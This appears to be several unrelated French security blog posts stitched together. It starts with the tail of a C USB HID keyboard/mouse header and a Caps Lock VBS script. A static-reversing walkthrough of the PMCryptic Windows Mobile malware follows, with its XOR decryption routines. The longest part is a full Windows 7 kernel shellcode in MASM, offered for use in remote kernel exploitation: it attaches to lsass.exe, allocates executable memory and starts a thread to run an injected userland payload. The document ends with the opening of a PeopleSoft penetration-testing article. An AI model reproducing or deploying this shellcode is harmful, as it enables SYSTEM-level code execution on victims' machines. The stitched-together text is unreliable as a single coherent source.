#define DEBUG_RX_ENDPOINT  2

#define DEBUG_RX_SIZE             32

#define DEBUG_RX_BUFFER           EP_SINGLE_BUFFER

#define DEBUG_RX_INTERVAL  8

#define KEYBOARD_INTERFACE 0

#define KEYBOARD_ENDPOINT  3

#define KEYBOARD_SIZE             8

#define KEYBOARD_BUFFER           EP_DOUBLE_BUFFER

#define KEYBOARD_INTERVAL  1

#define MOUSE_INTERFACE           1

#define MOUSE_ENDPOINT            4

#define MOUSE_SIZE         8

#define MOUSE_BUFFER              EP_DOUBLE_BUFFER

#define MOUSE_INTERVAL            8

#define NUM_ENDPOINTS             5

// #define NUM_ENDPOINTS          3

#define NUM_INTERFACE             3

#endif

// setup

void usb_init(void);                    // initialize everything

void usb_shutdown(void);          // shut off USB

// variables

extern volatile uint8_t usb_configuration;

extern volatile uint8_t usb_suspended;

extern volatile uint8_t debug_flush_timer;

extern uint8_t keyboard_modifier_keys;

extern uint8_t keyboard_keys[6];

extern uint8_t keyboard_idle_count;

extern volatile uint8_t keyboard_leds;

extern uint8_t mouse_buttons;

#ifdef __cplusplus

} // extern « C »

#endif

#endif

Voici le code du script tc.vbs (Toggle Caps Lock), ceci est juste du test :

‘ Created By NES (avanetti_at_nes.fr) 2011/10

Set wshShell =wscript.CreateObject(« WScript.Shell »)

wshshell.sendkeys « {CAPSLOCK} »

Cela fait plusieurs articles que nous jouons avec le noyau Windows, c’est sympa mais parfois il faut savoir changer, sans quoi la routine s’installe. Donc cette fois on va faire une petite introduction au reversing sur ARM au lieu d’Intel. Et pour se faire quoi de mieux que de reverser un malware ou tout du moins ses protections d’anti-reversing ? C’est donc ce que l’on va faire, just for fun

Petits points sur l’ARM

L’ARM est un type de processeur, il possède donc son propre jeu d’instructions, mais n’ayez crainte on s’y habitue très vite. Il faut dans un premier temps savoir que les instructions sont alignées sur 4 octets, il est donc plus difficile de faire du junk code comme sur Intel bien que ce soit possible. Les registres ne sont pas nommés EAX, ECX etc. mais R0, R1, R2, etc. Le pointeur sur la prochaine d’instruction à exécuter est nommé PC, les « call » sont des « bl » et les « jmp » des « b ». Important également on n’a pas directement nommé l’instruction « xor » mais « eor » à la place, ce qui est plus logique par rapport au « exclusive or ».
Il y a toujours une pile, cette fois on empile pas EIP mais un EIP précédent, je m’explique. Quand on fait un BL on place le PC dans le registre LR qui est notre sauvegarde de EIP et lui on l’empilera. Autrement dit les « buffer overflow » sont toujours d’actualité.

Voilà pour les grandes lignes, la pratique sera surement plus claire.
On pourrait reverser « encore » un malware android à manger du java et tout ce qui va avec, mais on va changer un peu et se faire un malware Windows Phone ! Comme ça en plus on a du code compilé et ça c’est plus fun.

Windows Phone

Sous Windows Phone on a un « Windows CE » comme système d’exploitation, il est fait pour être minimaliste et donc consommer un minimum d’espace de stockage et mémoire. Son architecture logicielle est relativement proche d’un Windows classique et on exécute toujours des EXE au format PE comme ça on ne sera pas perdu.

Reversing du malware

Nous avons pris un malware au hasard dans une liste mais qui va se révéler intéressant à étudier. Il s’agit de « PMCryptic ». Sur Internet on trouve pas mal d’analyses par sandboxes mais aucune étude un tant soit peu détaillée. Nous allons donc au moins montrer les protections anti-reversing qu’il a mis en place.
On charge notre .EXE dans IDA et on regarde un peu la tête que ça a :

.text:00012480 start ; DATA XREF: .pdata:00015000o
.text:00012480
.text:00012480 var_20 = -0x20
.text:00012480
.text:00012480 MOV R12, SP
.text:00012484 STMFD SP!, {R4-R7,R11,R12,LR}
.text:00012488 ADD R11, SP, #0x1C
.text:0001248C SUB SP, SP, #4
.text:00012490 MOV R4, R3
.text:00012494 MOV R5, R2
.text:00012498 MOV R6, R1
.text:0001249C MOV R7, R0
.text:000124A0 BL sub_124F4
.text:000124A4 MOV R3, R4
.text:000124A8 MOV R2, R5
.text:000124AC MOV R1, R6
.text:000124B0 MOV R0, R7
.text:000124B4 BL sub_11000
.text:000124B8 MOV R4, R0
.text:000124BC STR R4, [R11,#var_20]
.text:000124C0 B loc_124CC
.text:000124C4 ; ---------------------------------------------------------------------------
.text:000124C4 MOV R4, R0
.text:000124C8 BL sub_12664
.text:000124CC
.text:000124CC loc_124CC ; CODE XREF: start+40j
.text:000124CC MOV R0, R4
.text:000124D0 BL sub_12664
.text:000124D4 LDMDB R11, {R4-R7,R11,SP,LR}
.text:000124D8 BX LR
.text:000124D8 ; End of function start

Une fonction de chargement sans rien de particulier et un appel (offset 000124B4) à sub_11000, sur les compilateurs Visual Studio le « main » est souvent mis au début du programme. C’est donc ici que nous allons continuer. On arrive sur une fonction constituée de quatre blocs.
Dans le premier on a la chose suivante :

STMFD SP!, {LR}
MOVCS R3, #0x97
MOVLT R1, #0xB1
MOVCS R0, #0xAC
MOVLE R0, #0xBC
MOVLTS R0, #0x90
MOVEQ R1, #0xD7
MOVVSS R1, #0x27
MOVCC R0, #0xF7
MOVPLS R1, #0xD7
MOVLSS R2, #0x58
[…]
CMP R4, R3
AND R0, R3, #8
TEQ R3, #6
MOV R0, R3,LSL#2
ADD R0, R1, R0
B loc_110C0

Mmmmm, mais c’est pas beau du tout ! On a un bel exemple d’ « obfuscation » de code bien moche et qui ne sert strictement à rien à cause du « B » qui nous indique un saut vers un autre code. Puis nous avons :

loc_110C0
MOVLTS R0, #0x2B
MOVNES R1, #0xA8
MOVLSS R0, #0x83
MOVMIS R3, #0x58
MOVCSS R2, #0x70
MOVEQ R3, #0x4D
MOVEQS R0, #0x7A
MOVCC R1, #0xDD
[…]
MOV R1, #0xFD
ORR R0, R2, R3
AND R0, R3, #8
CMP R4, R3
B loc_11154

Contre toute attente ils nous ont remis un bloc aussi moche et aussi inutile. Ne nous attardons pas sur les instructions vides et passons au troisième bloc qui lui est intéressant !

loc_11154
MOV R3, #8
ADRL R2, dword_11144
ADRL R1, loc_12420
ADRL R0, loc_11190
SUB R1, R1, R0
ADRL R0, loc_11190
BL sub_11088
ADRL R0, loc_11190
MOV PC, R0

« ADRL » est en quelque sorte un « MOV » d’une adresse dans un registre. On voit donc clairement une initialisation d’arguments avant un appel à « sub_11088 ». La fin du bloc est aussi à noter, plutôt que d’effectuer un « B » sur une adresse, place une adresse dans PC (qui est notre pointeur d’instructions), on fait donc pareil qu’un saut mais autrement. Pour comprendre le pourquoi il faut regarder les lignes suivantes :

.text:00011180 ADRL R0, loc_11190
.text:00011188 MOV PC, R0
.text:00011188 ; END OF FUNCTION CHUNK FOR sub_11000
.text:0001118C ; ---------------------------------------------------------------------------
.text:0001118C MOV R0, #1
.text:00011190 ; START OF FUNCTION CHUNK FOR sub_11000
.text:00011190
.text:00011190 loc_11190 ; CODE XREF: sub_11000+188j
.text:00011190 ; DATA XREF: sub_11000+168o ...
.text:00011190 STMCCFD SP, {R1,R3,R4,R6-R8,R10-SP,PC}
.text:00011194 SVCCS 0xE591D9
.text:00011198 STRT R2, [LR],#0x97E
.text:0001119C LDCVC p14, c4, [R11,#0x228]
.text:000111A0 MOVLE R11, #0xDDD9
.text:000111A4 STRCCB R6, [R9],#-0x6D7
.text:000111A8 BCC 0x850654

Au final on ne saute qu’une instruction « MOV     R0, #1 ». Il est donc fort probable que ce soit un système anti-émulation et que cette variable fasse quitter le programme si elle est à 1. Une autre chose intéressante est la suite du code à partir de loc_11190, elle n’est pas vraiment claire et semble même ne pas être exécutable de façon fiable, il y a donc de fortes chances que nous soyons en présence d’un espace chiffré. La dernière fonction exécutée est sub_11088, regardons de plus près cette fonction.

OOOoooo, la jolie boucle avec un « EOR », comprendre XOR au milieu. « STRB » écrit 1 octet à une adresse, ici à R0 + R4. Étant donné que R4 est initialisé à 0 au début nous pouvons en déduire que R0 contient d’adresse de destination. R0 est initialisé avec l’adresse loc_11190 et qui est notre code incompréhensible. En remontant un peu dans le code on sait que R3 est initialisé à 8 et R2 pointe sur une zone mémoire avec quelques données brutes. On peut donc réécrire la routine comme suit :

char key[]={ 0xD9, 0xBD, 0xD, 0xD3, 0xD9, 0x66, 0x49, 0xDE };
int i, y=0;

for (i=0x590; i<0x1820; i++){
ExeFile[i] ^= key[y%sizeof(key)];
y++;
}

On déchiffre donc la suite du code et on continue. Pour la suite nous commenterons un peu plus le code assembleur.
Une fois le déchiffrement passé nous avons :

.text:00011170 SUB R1, R1, R0
.text:00011174 ADRL R0, CryptedCode
.text:0001117C BL Crypt ; R0 = Address of code to decrypt
.text:00011180 ADRL R0, CryptedCode
.text:00011188 MOV PC, R0
.text:00011188 ; END OF FUNCTION CHUNK FOR sub_11000
.text:0001118C ; ---------------------------------------------------------------------------
.text:0001118C MOV R0, #1
.text:00011190 ; START OF FUNCTION CHUNK FOR sub_11000
.text:00011190
.text:00011190 CryptedCode ; CODE XREF: sub_11000+188j
.text:00011190 ; DATA XREF: sub_11000+168o ...
.text:00011190 B loc_111A4
.text:00011190 ; END OF FUNCTION CHUNK FOR sub_11000
.text:00011190 ; ---------------------------------------------------------------------------
.text:00011194 CypherKey2 DCD 0xF1ACF700, 0x37A394A7, 0xA3D22853, 0
.text:00011194 ; DATA XREF: sub_11000+398o
.text:000111A4 ; ---------------------------------------------------------------------------
.text:000111A4 ; START OF FUNCTION CHUNK FOR sub_11000
.text:000111A4
.text:000111A4 loc_111A4 ; CODE XREF: sub_11000:CryptedCodej
.text:000111A4 B loc_111E4
.text:000111A4 ; END OF FUNCTION CHUNK FOR sub_11000
.text:000111A8
.text:000111A8 ; =============== S U B R O U T I N E =======================================
.text:000111A8
.text:000111A8
.text:000111A8 sub_111A8 ; DATA XREF: .text:00011354o
.text:000111A8 STMFD SP!, {R4-R7,LR}
.text:000111AC MOV R4, #0

C’est donc bien la suite du code qui devait être déchiffrée. Nous voyons plusieurs sauts à la suite, il peut y avoir deux explications, soit du « slicing », c’est-à-dire des sauts en aléatoires dans le code pour empêcher une lecture fluide et aux débuggeurs / désassembleurs de se repérer. Soit pour stocker des données qui devaient êtres chiffrées pour ne pas être lus en clair. Nous opterons pour la deuxième solution, bien qu’il y ait pas mal de sauts quand même :

En suivant les sauts nous arrivons à un autre bloc relativement similaire à notre premier.

loc_11394
MOV R3, #8
ADRL R2, CypherKey2
ADRL R1, EndCryptedCode
ADRL R0, CryptedCode2
SUB R1, R1, R0 ; initialize size of code to decrypt
ADRL R0, CryptedCode2
BL ChoiceCrypt
ADR PC, CryptedCode2
ADR PC, CryptedCode2
MOV R0, #2

Allons dans le vif du sujet et regardons la fonction que nous avons (en off) joliment nommé « ChoiceCrypt » :

Dans les quelques premières lignes nous avons un choix de pointeur initialisé par le début de notre clé. On saute alors à cette adresse pour exécuter une fonction, ici de déchiffrement. Il est fort probable que cette méthode ait été mise en place pour perturber des analyses de code automatisées. Dans notre cas la fonction pointée sera la numéro 0 :

Nous allons donc appeler la même fonction de chiffrement que précédemment. Une petite subtilité tout de même, la clé utilisée se trouve juste après l’identifiant de fonction, nous avons la fonction de déchiffrement suivante :

char key[]={ 0xF7, 0xAC, 0xF1, 0xA7, 0x94, 0xA3, 0x37, 0x53 };
int i,y=0;

for (i=0x7cc; i<0x1820; i++){
ExeFile[i] ^= key[y%sizeof(key)];
y++;
}

Un deuxième niveau est maintenant déchiffré, encore une fois nous avons du code invalide et nous pouvons donc nous attendre à une autre boucle de déchiffrement. Cette fois l’index de la fonction à utiliser est différent :

Nous allons donc exécuter la troisième fonction du tableau de pointeurs.

.text:000111E8 STMFD SP!, {R4-R7,LR}
.text:000111EC MOV R4, #0
.text:000111F0 MOV R5, #0
.text:000111F4
.text:000111F4 loc_111F4 ; CODE XREF: Crypt_AND_0xFE+34j
.text:000111F4 LDRB R6, [R0,R4]
.text:000111F8 LDRB R7, [R2,R5]
.text:000111FC AND R7, R7, #0xFE
.text:00011200 EOR R6, R6, R7
.text:00011204 STRB R6, [R0,R4]
.text:00011208 ADD R4, R4, #1
.text:0001120C ADD R5, R5, #1
.text:00011210 TEQ R5, R3
.text:00011214 MOVEQ R5, #0
.text:00011218 CMP R4, R1
.text:0001121C BLT loc_111F4
.text:00011220 LDMFD SP!, {R4-R7,PC}

Très similaire à la précédente fonction de déchiffrement au détail près que nous avons un « AND » entre temps. La fonction de déchiffrement est alors des plus triviale :

char key[]={ 0x6A, 0xC8, 0xA6, 0x96, 0x30, 0x41, 0xCD, 0x1B };
int i,y=0;

for (i=0xad0; i<0x1820; i++){
ExeFile[i] ^= (key[y%sizeof(key)] & 0xFE);
y++;
}

Et ça y est le malware est totalement déchiffré nous pouvons l’étudier comme nous le souhaitons. Il faut préciser que toutes les opérations ont été réalisées en statique et que le résultat final ne peut pas être directement exécuté (sinon il se re-chiffrerait).

Conclusion

Bon on n’a pas été très gentil avec ce malware quand même, ses fonctions de chiffrement sont très simplistes mais elles sont justifiées ! La beauté de ce malware mobile est qu’il se re-chiffre différemment à chaque exécution. Pour la suite le malware ne fait rien d’intéressant à part se dupliquer mettre un autorun etc. etc. Pour tout ça des analyses en sandboxs ont déjà été réalisés et sont suffisamment précises.

Une référence intéressante : http://www.symantec.com/connect/blogs/smart-worm-smartphone-wincepmcryptica

Objectif d’un shellcode kernel

Le shellcode en kernel n’est qu’un support pour exécuter un autre shellcode en userland. Nous avons donc toujours au moins deux stages d’exploitation. Le shellcode est chargé de passer le processus courant en « SYSTEM », soit le niveau de privilèges le plus important de Windows. Pour se faire nous allons retoucher des zones en noyau contenant le niveau de droits du processus, aussi appelé « TOKEN ».
Ce « TOKEN » est situé dans la structure _EPROCESS, structure assez connue pour être modifiée par les rootkits lors d’attaques de type DKOM (Direct Kernel Object Modification). Nous devons donc coder un shellcode qui va retrouver la structure de notre processus et celle du processus « System », puis recopier le token de « System » dans notre processus. Une fois cette étape faite nous pouvons retourner en mode utilisateur et exécuter un shellcode arbitraire l’air de rien… Nous avons donc (grosso modo) le plan suivant :

Nous exploitons donc une vulnérabilité émise par le processus utilisateur qui va recopier le token contenu dans les structures _EPROCESS et on retourne en mode utilisateur pour continuer notre petite vie tranquille.

Conception d’un shellcode classique

Côté code c’est un peu plus compliqué, il faut se balader de pointeur en pointeur car nous n’avons pas directement l’adresse de la structure EPROCESS courante pointée. Nous allons passer par le « _KPCRB », une sorte en PEB en noyau pour aller récupérer un pointeur sur le « _KTHREAD » courant. Je vous épargne le parsing des structure, pour plus d’infos se reporter sur http://ghostsinthestack.org/article-29-local-stack-overflow-in-windows-kernel.html . De plus le livre « Rootkits » a très bien illustré la chose :

Ce qui nous donne en assembleur le code suivant :
mov eax, fs:[124h]  ; On récupère un pointeur sur le _KTHREAD courant
mov eax, [eax+44h]  ; On récupère un pointeur sur le _KPROCESS (qui est en réalité un _EPROCESS) courrant
Puis nous nous déplaçons dans la structure doublement chainée de « LIST_ENTRY » jusqu’à trouver le PID 4 qui est celui de « SYSTEM ». Nous n’irons pas plus loin sûr cette méthode, comme nous l’avons évoqué elle a déjà été largement débattu sur d’autres sites et plus en détail.

Passons alors à ce qui nous intéresse, c’est-à-dire une exploitation SANS processus en mode utilisateur pour initialiser les données, donc 100% en noyau !

Shellcode FULL kernel

Nous avons vu à de nombreuses reprises des vulnérabilités en noyau sans initialisation de la part d’un processus. C’est entre autre le cas des vulnérabilités comme SMB ou sur la pile TCP/IP. Etant donné que tout est exécuté en noyau la copie de token vu précédemment n’est plus d’aucune utilité. C’est donc dans ce contexte et pour faire suite à l’article sur le bypass d’ASLR kernel que nous allons coder un shellcode entièrement en noyau.

 Une première piste

Au début nous nous sommes dit « Il doit bien y avoir quelques présentations quelque part traitant du sujet, il y en a déjà eu pas mal des remote kernel execution. » et au final nous n’avons pas trouvé beaucoup de PoCs. L’exemple le plus proche de notre travail est celui de Piotr Bania qui a exploité une vulnérabilité SMB2 (MS09-050), il a pour l’occasion écrit un shellcode 100% kernel viable sous Windows vista. Nous partons donc de cette base pour faire un shellcode similaire sous Windows 7.

Méthode d’exploitation

Dans le cadre très précis d’une exploitation totalement en noyau nous avons deux choix, le premier est de coder un remote shell (ou autre shellcode) en utilisant directement les fonctions exportés de Ntoskrnl mais cette tâche s’annonce fastidieuse et risquée. Autrement nous pouvons nous attacher à un processus privilégié, y injecter un shellcode dans son espace utilisateur et le faire exécuter, l’avantage est que nous sommes plus générique et que les actions en noyau sont limitées. Nous allons donc partir ce sens en suivant les PoC de Piotr ! En schématisant nous aurons la chose suivante :

Ainsi nous nous retrouvons dans le même cas (ou presque) que dans une exploitation classique, mais sans initialiser de token.

Réécriture du shellcode

Piotr nous a fait l’honneur de laisser les sources de son shellcodes à disposition (assez bien commenté), pas de chance pour nous il nous manque des macros Et en cherchant sur internet aucune trace des macros en question. Bon… nous avons le shellcode compilé dans l’exploit, nous pouvons donc retrouver la logique des macros et réécrire les parties manquantes. Les offsets des structures seront aussi à éditer car vista et 7 ont quelques différences.
Prenons un exemple de macro :
call     get_all_apis
@delta2reg edx
mov        eax,dword ptr [edx+aZwCreateThread]

@delta2reg est donc la macro et est représentée pas les instructions assembleur suivantes :

.text:00401033                 call    sub_401176
.text:00401038                 call    $+5
.text:0040103D                 pop     edx
.text:0040103E                 sub     edx, 40103Dh
.text:00401044                 mov     eax, dword_40122E[edx]

Cette macro est donc là pour recalculer l’adresse des différentes variables par rapport à l’environnement réel. Elle est donc au final assez simple à réécrire :

;@delta2reg edx
Call    Delta1a
Delta1a:
Pop     Edx
Sub     Edx, Delta1a
Delta1b:
mov        eax,dword ptr [edx+aZwCreateThread]

Dans un premier temps le shellcode va récupérer l’adresse de base du noyau NT grâce à l’instruction « rdmsr » qui permet de lire un registre MSR, ici celui utilisé pour l’EIP de SYSENTER.

; SYSENTER_EIP_MSR Scandown
mov        ecx,176h
rdmsr

RDMSR nous retourne une adresse mappée du module NT, puis nous remontons le module pour trouver le header PE, ce header est mappé à l’adresse de l’image base. Une fois cette adresse acquise nous pouvons parser l’EAT du module NT de la même façon que nous le faisons dans un shellcode en mode utilisateur avec « kernel32.dll ». Nous obtenons ainsi plusieurs fonctions que nous appellerons. Une fois chose faite le shellcode va se déplacer dans les structures EPROCESS à la recherche du processus « lsass.exe », processus SYSTEM et lancé sur tous les Windows.  Dés que nous l’avons-nous nous y attachons pour mapper son espace mémoire :

call         dword ptr [edx+aKeStackAttachProcess]

Une fois attaché nous pouvons allouer une zone mémoire en mode utilisateur :

call    dword ptr [ebx+aZwAllocateVirtualMemory]

Cette zone mémoire recevra notre shellcode userland. Pour exécuter ce shellcode nous devons créer un thread, nous initialisons donc la structure de registres qui sera utilisée pour créer le thread. Puis nous créons tout naturellement notre thread :

call    dword ptr [ebx+aZwCreateThread]

Et notre exploitation devrait fonctionner dans le meilleur des mondes. Pas de chance on n’est pas dans le meilleur des mondes En lançant le shellcode tout se passe bien en apparences mais au final aucun calc.exe de lancé (le stage 2 lance calc.exe -pour changer-). En faisant du pas à pas tout se déroule bien jusqu’au « ZwCreateThread » :

ffd00af7 6a00            push    0
ffd00af9 6aff            push    0FFFFFFFFh
ffd00afb 6a00            push    0
ffd00afd 68ffff1f00      push    1FFFFFh
ffd00b02 8d45f8          lea     eax,[ebp-8]
ffd00b05 50              push    eax
ffd00b06 ff9318124000    call    dword ptr [ebx+401218h] ds:0023:ffd00bd4={nt!ZwCreateThread (82879e20)}
kd> r
eax=c000000d ebx=ff8ff9bc ecx=00000008 edx=82879e31 esi=ffd013e4 edi=00170800
eip=ffd00b0c esp=94157500 ebp=941577f8 iopl=0         nv up ei pl nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000206
ffd00b0c 8d45dc          lea     eax,[ebp-24h]

Les adresses 0xffd00XXX sont normales, je me base sur l’exploitation par bypass ASLR vu dans un article précédent. On a une erreur 0xC000000D soit « The data is invalid. », bon il semblerait que le shellcode exposé par Piotr ne soit plus fonctionnel aujourd’hui. Allé on se relève les manches et on revers la fonction NtCreateThread pour voir où ca coince. Son prototype est comme suite :

NtCreateThread(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
OUT PCLIENT_ID ClientId,
IN PCONTEXT ThreadContext,
IN PINITIAL_TEB InitialTeb,
IN BOOLEAN CreateSuspended );

Encore une fois nous vous faisons grâce du pas à pas pour aller à l’essentiel, la fonction nous retournant 0xC000000D est la suivante :

mov     edi, ebx        ; edi = ThreadContext
call    _RtlpSanitizeContextFlags@8 ; RtlpSanitizeContextFlags(x,x)

En continuant à tracer on voit que dans RtlpSanitizeContext revoie l’erreur lors de l’appel :

mov     eax, [edi]
push    esi
xor     esi, esi
call    _RtlpValidateContextFlags@8 ; RtlpValidateContextFlags(x,x)

La fonction est appelée avec comme argument ce que pointe notre « ThreadContext » et 0, soit la valeur de EAX et de ESI. Ici nous avons deux choix, soit la méthode longue et fastidieuse d’analyser les structures conditionnelles et trouver quels flags peuvent être activés sans effets de bords, soit on pose un point d’arrêt dessus et on attend environ 5 secondes (cette fonction est souvent appelée). Etonnamment nous avons opté pour la deuxième solution. Le seul registre pouvant changer est EAX nous n’avons cas regarder une valeur « normale » à chaud :

Breakpoint 0 hit
nt!RtlpSanitizeContextFlags+0xa:
82a797d5 e8d944e4ff      call    nt!RtlpValidateContextFlags (828bdcb3)
kd> r eax
eax=00010017

Nous avons donc la concaténation des flags CONTEXT_CONTROL, CONTEXT_INTEGER, CONTEXT_SEGMENTS, CONTEXT_DEBUG_REGISTERS et CONTEXT_i486. Nous allons donc modifier le shellcode pour positionner le « ContextFlags » avant d’appeler le CreateThread.

mov     [ebp+ var_2F8 ], 00010017h     ; ContextFlags

On recompile le shellcode, un deuxième test et …

Youhou ! Ca fonctionne On a maintenant le moyen de bypasser l’ASLR kernel, exploiter une vulnérabilité à distance et il ne nous manque plus qu’à trouver les vulnérabilités.

Conclusion

Nous avons un shellcode noyau totalement utilisable sous windows 7. N’hésitez pas à nous donner des retours si vous rencontrez des problèmes d’utilisation nous serons heureux de débugger avec vous ! Sur ce nous vous souhaitons de bonne exploitation (for fun and profit).

Shellcode complet :

.486
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
assume fs:nothing

MEM_SIZE equ 3000h
STACK_AREA equ (MEM_SIZE - 1500)

VISTA_FLINK_OFFSET equ 0b8h
VISTA_IMAGENAME_OFFSET equ 16ch
VISTA_IMAGEBASE_OFFSET equ 12ch

USER_CS equ 001Bh
USER_DS equ 0023h
USER_FS equ 003Bh
USER_GS equ 0000h


var_2F8 = dword ptr -2F8h
var_26C = dword ptr -26Ch
var_268 = dword ptr -268h
var_264 = dword ptr -264h
var_260 = dword ptr -260h
var_240 = dword ptr -240h
var_23C = dword ptr -23Ch
var_238 = dword ptr -238h
var_234 = dword ptr -234h
var_230 = dword ptr -230h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
BaseAddress = dword ptr -0Ch
var_8 = byte ptr -8
AllocationSize = dword ptr -4

.code

start:
pushad
push ebp
mov ebp, esp
sub esp, 2F8h


; variable initialization
mov [ebp+BaseAddress], 0
mov [ebp+AllocationSize], MEM_SIZE


; SYSENTER_EIP_MSR Scandown
mov ecx,176h
rdmsr_1 db 0fh, 32h ; rdmsr
and ax,0f001h
ntos_loop:
dec eax
cmp dword ptr [eax],00905a4dh
jnz ntos_loop
; EAX = ntoskrnl base


mov esi,eax
mov ebx,[esi+3Ch] ; PE Header offset
add ebx,esi ; ebx=PEH
call get_all_apis

;@delta2reg edx
Call Delta1a
Delta1a:
Pop Edx
Sub Edx, Delta1a
Delta1b:
mov eax,dword ptr [edx+aZwCreateThread]

to_ZwCreateThread:
inc eax
cmp word ptr [eax],010C2h ; ret 10?
jne to_ZwCreateThread
add eax,3
mov dword ptr [edx+aZwCreateThread],eax


; SHELLCODE GO!!!
mov ebx,dword ptr fs:[124h]
;Mov Byte ptr ds:[ebx+13Ah], 0 ; Set PreviousMode to KernelMode
mov ebx,dword ptr [ebx+50h] ; eax = eprocess replace by 48h -> 50h

eloop:
mov ebx,[ebx+VISTA_FLINK_OFFSET]
sub ebx,VISTA_FLINK_OFFSET
mov eax,[ebx+VISTA_IMAGENAME_OFFSET]
cmp eax,'sasl' ;'clac' ;'sasl'
jne eloop

; get into the process address space
lea eax, [ebp+var_24]
push eax
push ebx
mov ebx,edx ; ebx = delta handle (edx is destroyed)
call dword ptr [edx+aKeStackAttachProcess]

push 40h ; Protect PAGE_EXECUTE_READWRITE
push 1000h ; AllocationType (MEM_COMMIT)
lea eax, [ebp+AllocationSize]
push eax ; AllocationSize
push 0 ; ZeroBits
lea eax, [ebp+BaseAddress]
push eax ; BaseAddress
push 0FFFFFFFFh ; ProcessHandle
call dword ptr [ebx+aZwAllocateVirtualMemory]
test eax,eax
jnz fatal_error

; context initialization
mov ecx,2CCh ; context size
lea edi,[ebp+var_2F8]
xor eax,eax
rep stosb

mov eax, [ebp+BaseAddress]
mov [ebp+var_240], eax ; context EIP

mov ecx, [ebp+BaseAddress]
add ecx, STACK_AREA
mov [ebp+var_234], ecx
mov [ebp+var_230], USER_DS
mov [ebp+var_238], 202h ; eflags
mov [ebp+var_23C], USER_CS
mov [ebp+var_260], USER_DS
mov [ebp+var_264], USER_DS
mov [ebp+var_268], USER_FS
mov [ebp+var_26C], USER_GS
Mov [ebp+ var_2F8 ], 00010017h ; ContextFlags

; copy shellcode to the memory
mov edi,dword ptr [ebp+BaseAddress]
mov ecx,ring3_shellcode_size
lea esi,[ebx+ring3_shellcode_real]
rep movsb

; create the thread
push 0
mov eax, [ebp+BaseAddress]
add eax, STACK_AREA
push eax
lea eax, [ebp+var_2F8] ; context
push eax
push 0
push 0FFFFFFFFh
push 0
push 1FFFFFh ; THREAD_ALL_ACCESS 1F03FFh
lea eax, [ebp+var_8] ; thread handle
push eax
call dword ptr [ebx+aZwCreateThread]

; go home
fatal_error:
lea eax, [ebp+var_24]
push eax
call dword ptr [ebx+aKeUnstackDetachProcess]

mov esp, ebp
pop ebp
popad
UltimateLoop:
Jmp UltimateLoop

; ##############################################################
; TAKE THIS TO THE SHELLCODE TO
; ##############################################################

get_all_apis:
pushad
mov edx,[ebx+078h] ; export section RVA
add edx,esi ; normalize
xor ebx,ebx ; counter
mov ecx,[edx+020h] ; address of names
add ecx,esi ; normalize
mov eax,[edx+01ch] ; address of functions
add eax,esi ; normalize
mov edi,[edx+018h] ; number of names
mov ebp,[edx+024h] ; address of ordinals
add ebp,esi
loop_it:
mov edx,[ecx] ; get one name
add edx,esi ; normalize, EDX=name

; now take the ordinal of this one
push eax
push ebx
movzx ebx,word ptr [ebp+ebx*2]
and ebx,0000ffffh

; get export address
mov eax,[eax+ebx*4]
add eax,esi ; EAX=function addr

; checksum check
call checksumADLER_and_store

pop ebx
pop eax
next_one:
add ecx,4
inc ebx
dec edi
jnz loop_it
popad
ret


; -------------------------------------------------------------------
; Checks if the API name is correct with the checksum and then
; stores the api to the address table. Retrieves all apis in the table
; on entry:
; * EDX = name
; * EAX = function addr
;
; on out the API table is filled!
; -------------------------------------------------------------------

checksumADLER_and_store:
pushad
mov ebx,eax ; function addr

call checksum_ADLER32 ; EAX -> computed checksum
mov edx,eax ; EDX -> computed checksum

call delta_api
delta_api:
pop ebp
lea esi,[ebp+(offset API_table_checkums - offset delta_api)]
lea edi,[ebp+(offset API_table_addrs - offset delta_api)-4]
api_chk_loop:
add edi,4
lodsd
test eax,eax
jz api_chk_done
cmp eax,edx
jne api_chk_loop
mov [edi],ebx
api_chk_done:
popad
ret


; -------------------------------------------------------------------
; Computes Adler32 checksum without MOD
; Input:
; EDX - string
; Output:
; EAX - checksum
checksum_ADLER32:
push ecx
push ebx
push edx

xor ecx,ecx
xor eax,eax
xor ebx,ebx ; EBX = B = 0
inc eax ; EAX = A = 1

make_ADLER:
mov cl,byte ptr [edx]
test cl,cl
jz done_ADLER

add eax,ecx ; A += CHAR
add ebx,eax ; B += A
inc edx

jmp make_ADLER

done_ADLER:
shl ebx,16
or eax,ebx ; EAX = final checksum

pop edx
pop ebx
pop ecx
ret


API_table_checkums:
adler32_ZwAllocateVirtualMemory dd 6de90957h
;adler32_ZwCreateThread dd 28ea057eh ; not exported
adler32_KeStackAttachProcess dd 500907dbh
adler32_KeUnstackDetachProcess dd 61ec08b2h
adler32_ZwCreateSymbolicLinkObject dd 8a980a4dh
adler32_CreateThread dd 1df104adh
adler32_Sleep dd 05bd01fah
adler32_ExitThread dd 158503f3h
dd 00000000h ; end of table
API_table_addrs:
aZwAllocateVirtualMemory dd 0h
aKeStackAttachProcess dd 0h
aKeUnstackDetachProcess dd 0h
aZwCreateThread dd 0h
aCreateThread dd 0h ; from kernel32
aSleep dd 0h ; from kernel32
aExitThread dd 0h ; from kernel32


ring3_shellcode_real:
push USER_FS
pop fs
push USER_DS
pop ds
push USER_DS
pop es
cld
sub esp,600
; Past the userland shellcode here


ring3_shellcode_size equ 0800h


end start

Dans cet article, nous allons travailler sur un ERP bien connu des entreprises développé par ORACLE nommé PeopleSoft. La sécurité d’un ERP est un élément important dans une entreprise puisque ce dernier  regroupe généralement plusieurs fonctions très sensibles de la société :

• Gestion RH
• Gestion recrutement
• Gestion des stocks
• ..

De plus en plus de sociétés, nous demande de réaliser des tests d’intrusion sur ce type d’application. SAP et PeopleSoft se partagent la majorité du marché des ERP comme le montre le diagramme suivant datant de Septembre 2010 :

SAP a déjà fait l’objet de nombreuses recherches en sécurité et son moteur J2EE a été sérieusement mis à mal dernièrement lors de la dernière présentation d’Alexander Polyakov à la dernière Black Hat USA.

En revanche, les vulnérabilités sur Peoplesoft, bien que nombreuses restent cependant assez floues et très mal documentées sur Internet d’où notre intérêt tout particulier de publier quelques articles sur cette solution.

Il est important de savoir qu’avant la publication de ce papier ORACLE a été contacté plusieurs fois et leur accord nous a été donné pour publier ce document. Vous verrez pourquoi par la suite ;)

